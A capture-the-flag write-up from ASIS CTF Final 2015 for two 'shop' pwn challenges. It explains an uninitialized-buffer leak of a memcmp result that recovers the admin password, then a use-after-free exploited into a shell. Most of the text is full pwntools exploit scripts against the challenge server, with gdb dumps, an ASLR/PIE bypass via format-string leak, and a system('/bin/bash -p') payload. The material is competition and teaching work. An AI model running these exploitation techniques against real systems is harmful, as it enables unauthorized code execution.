Outils pour utilisateurs

Outils du site


writeup:asis:shop_1_2

Table des matières

Shop 1 & 2 Writeup

Solution of two pwn levels solved during ASIS CTF Final 2015. It seems that the final was open to everyone, but «Prizes will only be awarded to teams chosen from ASIS Qualification round.»

The same binary is used for two distinct levels : shop 1 where the goal is to log as admin, shop 2 in which you have to get a shell.

You can download the binary here : bragisdumu-shop.zip

TL;DR

  • shop 1 : return value of memcmp(admin_password, password, sizeof(admin_password)); disclosure
  • shop 2 : use-after-free in the order list

shop 1

The program allows you to log in as guest user (password: guest). As the goal is to log as admin, let's see how the password validation is done.

  char is_admin_1; // [sp+Bh] [bp-85h]@2
  int wat; // [sp+Ch] [bp-84h]@12
  size_t adminpassword_size; // [sp+10h] [bp-80h]@6
  char *adminpassword; // [sp+18h] [bp-78h]@6
  char username[32]; // [sp+20h] [bp-70h]@3
  char password[64]; // [sp+40h] [bp-50h]@3
  int is_admin_user; // [sp+80h] [bp-10h]@5
 
  /* SNIP SNIP SNIP SNIP SNIP SNIP SNIP SNIP */
  puts("The Official Bragisdumus Shop");
  puts("  (guest password: guest)\n");
  is_admin_1 = 0;
  while ( 1 )
  {
    printf("Username: ", v3);
    getstr(username, 32);
    printf("Password: ", 32LL);
    getstr(password, 64);
    if ( !memcmp(username, "guest", 5uLL) && !memcmp(password, "guest", 5uLL) )
      goto LABEL_11;
    v3 = "admin";
    is_admin_user = memcmp(username, "admin", 5uLL);
    if ( is_admin_user )
    {
      puts("Unknown username or password!");
    }
    else
    {
      adminpassword = readfile("adminpass.txt", &adminpassword_size);
      v3 = adminpassword;
      is_admin_user = memcmp(password, adminpassword, adminpassword_size);
      free(adminpassword);
      if ( !is_admin_user )
      {
        is_admin_1 = 1;
LABEL_11:
        putchar(10);
        v3 = username;
        printf("Logged in as %s\n\n", username);

From this code you learn that :

  • the comparison is done only on the five first chars, so you can put guestblabla as username or password and it works
  • the admin password is read from adminpass.txt
  • username is stored in a 32-byte buffer
  • password is stored in a 64-byte buffer
  • the return value of the comparison of the admin password is stored on the stack, right after the password's buffer
  • the username is displayed when you are logged in

If the username and the password are not null terminated, the return value of the admin password comparison can be printed to us when printf(“Logged in as %s\n\n”, username); is called. Guess what … the custom function getstr is not adding any null byte at the end of the string which was read.

Let's recap the scenario :

  • log in as admin with x password
  • is_admin_user is updated, but you are not logged in
  • log in as guestAAAAAAAAAAAAAAAAAAAAAAAAAAA with guestAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  • you are logged in, and the return value of the admin password comparison is printed
  • substract this value to x and get the char

My exploit is using binjitsu (amazing pwntools fork)

from pwn import *
 
r = remote('185.106.120.220', 1337)
 
def leak_diff(password):
	r.sendline('admin')
	r.sendline(password)
	r.sendline('guest' + 'A'*27)
	r.sendline('guest' + 'X'*59)
	r.sendline('8')
	leaked = r.recvall()
	return leaked
 
password = ''
for i in range(38):
	leaked = leak_diff(password + 'x')
	bytess = leaked.split('X'*59)[1].split('\n\n')[0][:4].ljust(4, '\x00') # propre
	diff = u32(bytess, sign='signed')
	password += chr((ord('x') - diff) & 0xFF)
	log.info(password)
[+] Opening connection to 185.106.120.220 on port 1337: Done
[*] A
[*] AS
[*] ASI
[*] ASIS
[*] ASIS{
[*] ASIS{3
[*] ASIS{30
[*] ASIS{304
[*] ASIS{304b
[*] ASIS{304b0
[*] ASIS{304b0f
[*] ASIS{304b0f1
[*] ASIS{304b0f16
[*] ASIS{304b0f16e
[*] ASIS{304b0f16eb
[*] ASIS{304b0f16eb4
[*] ASIS{304b0f16eb43
[*] ASIS{304b0f16eb430
[*] ASIS{304b0f16eb4303
[*] ASIS{304b0f16eb43039
[*] ASIS{304b0f16eb430391
[*] ASIS{304b0f16eb430391c
[*] ASIS{304b0f16eb430391c6
[*] ASIS{304b0f16eb430391c6c
[*] ASIS{304b0f16eb430391c6c8
[*] ASIS{304b0f16eb430391c6c86
[*] ASIS{304b0f16eb430391c6c86a
[*] ASIS{304b0f16eb430391c6c86ab
[*] ASIS{304b0f16eb430391c6c86ab0
[*] ASIS{304b0f16eb430391c6c86ab0f
[*] ASIS{304b0f16eb430391c6c86ab0f3
[*] ASIS{304b0f16eb430391c6c86ab0f32
[*] ASIS{304b0f16eb430391c6c86ab0f329
[*] ASIS{304b0f16eb430391c6c86ab0f3294
[*] ASIS{304b0f16eb430391c6c86ab0f32942
[*] ASIS{304b0f16eb430391c6c86ab0f329421
[*] ASIS{304b0f16eb430391c6c86ab0f3294211
[*] ASIS{304b0f16eb430391c6c86ab0f3294211}

ASIS{304b0f16eb430391c6c86ab0f3294211} is the admin password and the first flag !

shop 2

You are now logged as admin. It means that you have access to two more actions of the menu.

Menu:
  1) list bragisdumus
  2) order a bragisdumu
  3) view my order
  4) add new bragisdumu (admin only)
  5) remove bragisdumu (admin only)
  8) logout
  9) exit
Choose: 

Basically, the program allows you to do some actions :

  • list available items
  • order an available item
  • view your order list and print one of your item (interesting)
  • add a new item
  • remove an item

Every item is stored in a structure like this :

struct item
{
	int id;
	char activated;
	char name[100];
	char most_popular;
	char padding[6];
	double price;
	long long stocks;
	void(*display)(struct item *);
};

Each structure is stored in the .data section. When you set an order, a buffer is allocated in the heap (via malloc), the structure is copied from .data to the heap allocated buffer and the pointer of the allocated buffer is saved in an array representing your order bag.

When a specific item has stocks == 0, you are able to delete the item. Let's see how this function works.

__int64 remove()
{
  char finded; // [sp+Ah] [bp-16h]@1
  bool stocks; // [sp+Bh] [bp-15h]@1
  signed int i; // [sp+Ch] [bp-14h]@1
  signed int j; // [sp+10h] [bp-10h]@8
  int remove_item; // [sp+14h] [bp-Ch]@1
  __int64 v6; // [sp+18h] [bp-8h]@1
 
  v6 = *MK_FP(__FS__, 40LL);
  printf("Choose a Bragisdumu to remove: ");
  remove_item = get_menu();
  putchar(10);
  finded = 0;
  stocks = 0;
  for ( i = 0; i <= 7; ++i )
  {
    if ( bragiz[i].id == remove_item )
    {
      finded = 1;
      stocks = bragiz[i].stocks == 0;
      if ( stocks )
        bragiz[i].activated = 0;
      break;
    }
  }
  j = 0;
  if ( finded == 1 )
  {
    if ( stocks == 1 )
    {
      while ( j <= 8 )
      {
        if ( orders[j]->id == remove_item )
          free(orders[j]);
        ++v4;
      }
    }
    else
    {
      puts("You cannot remove a Bragisdumu which is on stock.");
    }
  }
  else
  {
    puts("Invalid Bragisdumu index!");
  }
  return *MK_FP(__FS__, 40LL) ^ v6;
}

So, if you are allowed to remove the item, the program looks for the selected item in the order list and calls free() on the previous heap allocated buffer … But … The pointer to the freed buffer is still stored ! What happens if you try to view your order list after having deleted an ordered item ?

A great use-after-free !

The idea is now to allocate a buffer on the heap and overwrite the function pointer stored in the structure and used by the order list to display a specific item. In order to store arbitrary data to this memory location, we can use the login process. In fact, the getstr function reads from stdin every character given by the user and stores it on the heap.

char *__fastcall read_from_user(int *readed)
{
  __int64 v1; // ST28_8@1
  int current_size; // [sp+18h] [bp-18h]@1
  int c; // [sp+1Ch] [bp-14h]@2
  char *ptr; // [sp+20h] [bp-10h]@1
 
  v1 = *MK_FP(__FS__, 40LL);
  current_size = 8;
  ptr = (char *)malloc(8uLL);
  for ( *readed = 0; ; ++*readed )
  {
    c = getchar();
    if ( c == -1 )
    {
      puts("Input EOF!");
      exit(0);
    }
    if ( *readed >= current_size )
    {
      current_size *= 2;
      ptr = (char *)realloc(ptr, current_size);
    }
    if ( c == 10 )
      break;
    ptr[*readed] = c;
  }
  return ptr;
}
 
__int64 __fastcall getstr(char *buffer, int inlen_max)
{
  int cpy_size; // eax@2
  int inlen; // [sp+18h] [bp-18h]@1
  int v5; // [sp+1Ch] [bp-14h]@4
  void *in; // [sp+20h] [bp-10h]@1
  __int64 v7; // [sp+28h] [bp-8h]@1
 
  v7 = *MK_FP(__FS__, 40LL);
  in = read_from_user(&inlen);
  if ( inlen >= inlen_max )
    cpy_size = inlen_max;
  else
    cpy_size = inlen;
  v5 = cpy_size;
  memcpy(buffer, in, cpy_size);
  free(in);
  return *MK_FP(__FS__, 40LL) ^ v7;
}

So we can use the login to overwrite the function pointer and control the flow of the program.

from pwn import *
 
p = process(['gdb', './bragisdumu-shop/bragisdumu-shop'])
p.sendline('r')
 
p.sendline('admin')
p.sendline('ASIS{304b0f16eb430391c6c86ab0f3294211}')
 
p.sendline('2')
p.sendline('3')
 
p.sendline('2')
p.sendline('3')
 
p.sendline('5')
p.sendline('3')
 
p.sendline('8')
 
struct_uaf  = p32(1) # id
struct_uaf += p8(1) # activated
struct_uaf += "A"*100 # name
struct_uaf += "P"*6 # padding
struct_uaf += "X"*8 # price
struct_uaf += "X"*8 # stocks
struct_uaf += "BBBBBBBB" # function pointer
p.sendline('guest'+"A"*10)
p.sendline('guest'+"A"*(0x8b)+struct_uaf)
p.sendline('3')
p.sendline('2')
p.sendline('8')
p.interactive()

The previous code gives us a really cool program state :

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x42424242424242 ('BBBBBBB')
RBX: 0x0 
RCX: 0x8 
RDX: 0x5555557590a0 --> 0x4141410100000001 
RSI: 0x2 
RDI: 0x5555557590a0 --> 0x4141410100000001 
RBP: 0x7fffffffe660 --> 0x7fffffffe700 --> 0x5555555564a0 (push   r15)
RSP: 0x7fffffffe630 --> 0x7ffff7dd6640 --> 0xfbad2887 
RIP: 0x555555555ea4 (call   rax)
R8 : 0x7ffff7dd6440 --> 0x7ffff7dd1980 --> 0x7ffff7b9d74e --> 0x5a5400544d470043 ('C')
R9 : 0x7fffffffe601 --> 0xa ('\n')
R10: 0x0 
R11: 0x1999999999999999 
R12: 0x555555554ea0 (xor    ebp,ebp)
R13: 0x7fffffffe7e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555e96:    lea    rdx,[rip+0x202663]        # 0x555555758500
   0x555555555e9d:    mov    rdx,QWORD PTR [rcx+rdx*1]
   0x555555555ea1:    mov    rdi,rdx
=> 0x555555555ea4:    call   rax
   0x555555555ea6:    mov    rax,QWORD PTR [rbp-0x8]
   0x555555555eaa:    xor    rax,QWORD PTR fs:0x28
   0x555555555eb3:    je     0x555555555eba
   0x555555555eb5:    call   0x555555554d80 <__stack_chk_fail@plt>
Guessed arguments:
arg[0]: 0x5555557590a0 --> 0x4141410100000001 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe630 --> 0x7ffff7dd6640 --> 0xfbad2887 
0008| 0x7fffffffe638 ("XXXXXXXX@f\335\367\377\177")
0016| 0x7fffffffe640 --> 0x7ffff7dd6640 --> 0xfbad2887 
0024| 0x7fffffffe648 --> 0x1007fffffffe700 
0032| 0x7fffffffe650 --> 0x100000009 
0040| 0x7fffffffe658 --> 0x7ae40186350cd700 
0048| 0x7fffffffe660 --> 0x7fffffffe700 --> 0x5555555564a0 (push   r15)
0056| 0x7fffffffe668 --> 0x55555555642c (jmp    0x55555555648b)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555555ea4 in ?? ()

Well … Now we need to bypass PIE, ASLR and NX. The PIE can be easily bypassed because a pointer to a program function is stored on the heap, so we can use the use-after-free to leak some heap data. Because we now have the base address of the program and because we can fully control the first parameter of the call rax (see rdi register, pointing to our heap buffer), we can call the printf function with a specific string format (%33$p in that case) to leak data from the stack. With this trick, you can retrieve the __libc_start_main return address and find the libc base address !

Because the used libc is given, you just have to add the correct offset in order to jump to the system function.

exploit.py
from pwn import *
 
# context.log_level = 'debug'
p = remote('185.106.120.220', 1337)
 
p.sendline('admin')
p.sendline('ASIS{304b0f16eb430391c6c86ab0f3294211}')
 
p.sendline('2')
p.sendline('3')
 
p.sendline('2')
p.sendline('3')
 
p.sendline('5')
p.sendline('3')
 
p.sendline('8')
 
struct_leak  = p32(1) # id
struct_leak += p8(1) # used
struct_leak += "X"*(107+16)
p.sendline('guest'+"A"*10)
p.sendline('guest'+"A"*(0x8b)+struct_leak)
p.sendline('3')
p.sendline('')
p.sendline('8')
 
p.readuntil('XXXXXu')
base_text = u64(("u" + p.readuntil(', pr')[:-4]).ljust(8, '\x00')) - 0x1275
log.info('base txt addr = 0x%x' % base_text)
 
struct_leak  = "XXXX"
struct_leak += p8(1) # used
struct_leak += "%33$p"+"X"*(95)
struct_leak += p8(1)
struct_leak += "A"*6
struct_leak += "B"*16
struct_leak += p64(base_text+0xDA0)
p.sendline('guest'+"A"*100)
p.sendline('guest'+"A"*(0x8b)+struct_leak)
p.sendline('3')
p.sendline('2')
p.sendline('8')
 
p.readuntil('? XXXX\x01')
libc_start_main_240 = int(p.readuntil('X')[:-1], 16)
 
e = ELF('libc.so.6')
offset_libc_start_main = e.symbols['%%_%%libc_start_main']
offset_system = e.symbols['system']
 
base_libc = libc_start_main_240-240-offset_libc_start_main-5
log.info('base libc = 0x%x' % base_libc)
 
 
what = ";/bin/bash -p;"
 
struct_system  = "ls  "
struct_system += p8(1) # used
struct_system += what + "I"*(100 - len(what))
struct_system += p8(1)
struct_system += "A"*6
struct_system += "B"*16
struct_system += p64(base_libc+offset_system)
p.sendline('guest'+"A"*100)
p.sendline('guest'+"A"*(0x8b)+struct_system)
p.sendline('3')
p.sendline('2')
 
log.info("enjoy your shell.")
 
p.interactive()
writeup/asis/shop_1_2.txt · Dernière modification: 2015/10/13 13:19 par tlk